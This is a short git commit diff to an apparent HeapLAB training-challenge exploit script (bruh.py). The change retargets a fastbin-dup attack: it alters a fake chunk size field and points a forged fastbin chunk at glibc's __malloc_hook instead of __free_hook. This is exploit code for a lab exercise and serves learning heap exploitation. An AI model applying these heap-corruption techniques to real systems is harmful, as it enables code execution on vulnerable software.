From 4c06c05f4eaf614ff0dfd4fe0fa62557331d7fb7 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Mon, 4 Jan 2021 18:48:38 -0600 Subject: modified: HeapLAB/challenge-fastbin_dup/.gdb_history modified: HeapLAB/challenge-fastbin_dup/bruh.py --- HeapLAB/challenge-fastbin_dup/bruh.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) (limited to 'HeapLAB/challenge-fastbin_dup/bruh.py') diff --git a/HeapLAB/challenge-fastbin_dup/bruh.py b/HeapLAB/challenge-fastbin_dup/bruh.py index 191cbea..56b0c71 100755 --- a/HeapLAB/challenge-fastbin_dup/bruh.py +++ b/HeapLAB/challenge-fastbin_dup/bruh.py @@ -55,7 +55,7 @@ free(chunk1) #malloc(24, p64(libc.sym.main_arena + 96)) #this sets up a fake size field in the fastbins -malloc(24, p64(0x81)) +malloc(24, p64(0x80)) malloc(24, 'asdf') malloc(24, 'asdf') @@ -74,9 +74,10 @@ malloc(119, 'sdfg') #8 * 9 -malloc(119, p64(0)*9 + p64(libc.sym.__free_hook - 16)) +payload_loc = libc.sym.__malloc_hook - 35 +malloc(119, p64(0)*9 + p64(payload_loc)) -print(hex(fake_chunk_loc)) +print("top chunk addr: {}".format(hex(payload_loc))) # ============================================================================= -- cgit v1.2.3